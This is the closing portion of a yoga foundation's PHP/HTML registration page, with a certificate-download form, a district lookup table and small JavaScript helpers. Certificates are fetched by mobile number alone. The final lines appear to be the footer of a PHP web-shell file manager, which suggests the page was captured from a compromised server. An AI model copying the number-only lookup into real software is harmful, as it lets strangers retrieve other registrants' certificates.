        <div id="cert-error" class="hidden max-w-xs mx-auto mb-4 bg-red-50 border border-red-300 text-red-700 text-xs rounded-lg px-4 py-2"></div>
        <div class="max-w-xs mx-auto space-y-4">
          <input type="tel" id="cert_mobile" placeholder="Enter registered mobile number" maxlength="10"
            class="form-input w-full border border-gray-300 rounded-lg px-4 py-3 text-sm transition text-center tracking-widest" />
          <button onclick="handleCertificate('download')"
            class="w-full py-3.5 rounded-xl font-bold text-white text-base shadow-lg transition-all hover:shadow-xl hover:scale-[1.01] active:scale-[0.99]"
            style="background: linear-gradient(135deg, #1A3C2E, #2D6A4F);">
            Generate Certificate 📜
          </button>
        </div>
      </div>
    </div>
  </section>

  <!-- Footer -->
  <footer class="gradient-header mt-10 py-5">
    <div class="text-center text-yoga-light text-xs sm:text-sm">
      © <?php echo date('Y'); ?> ABYOGASMS Foundation | Designed By <a href="https://efbtechnology.com" target="_blank">EFB Technology</a>
    </div>
  </footer>

  <!-- Success Toast -->
  <div id="toast" class="fixed bottom-6 left-1/2 -translate-x-1/2 z-50 hidden">
    <div class="bg-yoga-dark text-white px-6 py-3 rounded-xl shadow-2xl text-sm font-semibold">
      ✅ Registration successful!
    </div>
  </div>

  <script>
    function showTab(tab) {
      const isReg = tab === 'registration';
      document.getElementById('panel-registration').classList.toggle('hidden', !isReg);
      document.getElementById('panel-certificate').classList.toggle('hidden', isReg);
      document.getElementById('tab-reg').className = `${isReg ? 'tab-active' : 'tab-inactive'} flex-1 sm:flex-none sm:px-10 py-3 rounded-xl font-semibold text-sm sm:text-base transition-all shadow`;
      document.getElementById('tab-cert').className = `${!isReg ? 'tab-active' : 'tab-inactive'} flex-1 sm:flex-none sm:px-10 py-3 rounded-xl font-semibold text-sm sm:text-base transition-all shadow`;
    }

    const districtsByState = {
      "Uttar Pradesh": ["Agra","Aligarh","Allahabad","Ambedkar Nagar","Amethi","Amroha","Auraiya","Azamgarh","Baghpat","Bahraich","Ballia","Balrampur","Banda","Barabanki","Bareilly","Basti","Bhadohi","Bijnor","Budaun","Bulandshahr","Chandauli","Chitrakoot","Deoria","Etah","Etawah","Farrukhabad","Fatehpur","Firozabad","Gautam Buddh Nagar","Ghaziabad","Ghazipur","Gonda","Gorakhpur","Hamirpur","Hapur","Hardoi","Hathras","Jalaun","Jaunpur","Jhansi","Kannauj","Kanpur Dehat","Kanpur Nagar","Kasganj","Kaushambi","Kushinagar","Lakhimpur Kheri","Lalitpur","Lucknow","Maharajganj","Mahoba","Mainpuri","Mathura","Mau","Meerut","Mirzapur","Moradabad","Muzaffarnagar","Pilibhit","Pratapgarh","Raebareli","Rampur","Saharanpur","Sambhal","Sant Kabir Nagar","Shahjahanpur","Shamli","Shravasti","Siddharthnagar","Sitapur","Sonbhadra","Sultanpur","Unnao","Varanasi"],
      "Maharashtra": ["Mumbai City","Mumbai Suburban","Thane","Pune","Nashik","Aurangabad","Nagpur","Solapur","Kolhapur","Satara","Sangli","Ratnagiri","Sindhudurg","Ahmednagar","Dhule","Nandurbar","Jalgaon","Beed","Latur","Osmanabad","Nanded","Hingoli","Parbhani","Washim","Akola","Amravati","Yavatmal","Wardha","Gadchiroli","Chandrapur","Bhandara","Gondia","Buldhana","Jalna","Raigad","Alibag"],
      "Gujarat": ["Ahmedabad","Surat","Vadodara","Rajkot","Bhavnagar","Jamnagar","Junagadh","Gandhinagar","Anand","Kheda","Mehsana","Patan","Banaskantha","Sabarkantha","Aravalli","Mahisagar","Chhota Udaipur","Dahod","Panchmahal","Vadodara","Narmada","Bharuch","Surat","Navsari","Valsad","Dang","Tapi","Porbandar","Amreli","Botad","Morbi","Devbhoomi Dwarka","Gir Somnath"],
      "Delhi (NCT)": ["Central Delhi","East Delhi","New Delhi","North Delhi","North East Delhi","North West Delhi","Shahdara","South Delhi","South East Delhi","South West Delhi","West Delhi"],
      "Rajasthan": ["Ajmer","Alwar","Banswara","Baran","Barmer","Bharatpur","Bhilwara","Bikaner","Bundi","Chittorgarh","Churu","Dausa","Dholpur","Dungarpur","Hanumangarh","Jaipur","Jaisalmer","Jalore","Jhalawar","Jhunjhunu","Jodhpur","Karauli","Kota","Nagaur","Pali","Pratapgarh","Rajsamand","Sawai Madhopur","Sikar","Sirohi","Sri Ganganagar","Tonk","Udaipur"],
    };

    // Auto-check URL query string on load
    window.addEventListener('DOMContentLoaded', () => {
      const urlParams = new URLSearchParams(window.location.search);
      // Checks if 'id' exists and is not empty
      if (urlParams.has('id') && urlParams.get('id') !== '') {
        showTab('certificate');
      }
    });

    function xloadDistricts() {
      const state = document.getElementById('stateSelect').value;
      const distSel = document.getElementById('districtSelect');
      distSel.innerHTML = '<option value="" disabled selected>Select District</option>';
      const districts = districtsByState[state] || [];
      if (districts.length === 0) {
        const opt = document.createElement('option'); opt.value = ''; opt.disabled = true;
        opt.text = '— Districts not available —'; distSel.appendChild(opt);
      } else {
        districts.forEach(d => {
          const opt = document.createElement('option'); opt.value = d; opt.text = d;
          distSel.appendChild(opt);
        });
      }
    }

    async function loadDistricts() {
      const state = document.getElementById('stateSelect').value;
      const distSel = document.getElementById('districtSelect');
      
      // Clear the dropdown and show a loading message
      distSel.innerHTML = '<option value="" disabled selected>Loading districts...</option>';

      if (!state) return;

      try {
        // Send AJAX request to your backend PHP script
        const response = await fetch(`get_districts.php?state_id=${encodeURIComponent(state)}`);
        
        if (!response.ok) throw new Error('Network response was not ok');
        
        const districts = await response.json();

        // Reset dropdown
        distSel.innerHTML = '<option value="" disabled selected>Select District</option>';

        if (districts.length === 0) {
          const opt = document.createElement('option'); 
          opt.value = ''; 
          opt.disabled = true;
          opt.text = '— Districts not available —'; 
          distSel.appendChild(opt);
        } else {
          districts.forEach(d => {
            const opt = document.createElement('option'); 
            // Assumes backend returns objects with 'id' and 'district_name'
            opt.value = d.id; 
            opt.text = d.district_name; 
            distSel.appendChild(opt);
          });
        }
      } catch (error) {
        console.error('Fetch error:', error);
        distSel.innerHTML = '<option value="" disabled selected>Error loading districts</option>';
      }
    }


    function handleRegister(e) {
      e.preventDefault();
      const toast = document.getElementById('toast');
      toast.classList.remove('hidden');
      setTimeout(() => toast.classList.add('hidden'), 3000);
    }

    function handleCertificate(mode) {
      const mobile = document.getElementById('cert_mobile').value.trim();
      const errBox = document.getElementById('cert-error');
      errBox.classList.add('hidden');

      if (!/^\d{10}$/.test(mobile)) {
        errBox.textContent = 'Please enter a valid 10-digit mobile number.';
        errBox.classList.remove('hidden');
        return;
      }

      if (mode === 'download') {
        window.location.href = 'generate_certificate.php?mobile=' + encodeURIComponent(mobile) + '&download';
      } else {
        const url = 'generate_certificate.php?mobile=' + encodeURIComponent(mobile);
        const preview = document.getElementById('cert-preview');
        const img = document.getElementById('cert-img');
        img.src = '';
        preview.classList.add('hidden');
        const testImg = new Image();
        testImg.onload = function () {
          img.src = url;
          preview.classList.remove('hidden');
          preview.scrollIntoView({ behavior: 'smooth', block: 'start' });
        };
        testImg.onerror = function () {
          errBox.textContent = 'Mobile number not found. Please register first.';
          errBox.classList.remove('hidden');
        };
        testImg.src = url;
      }
    }
  </script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit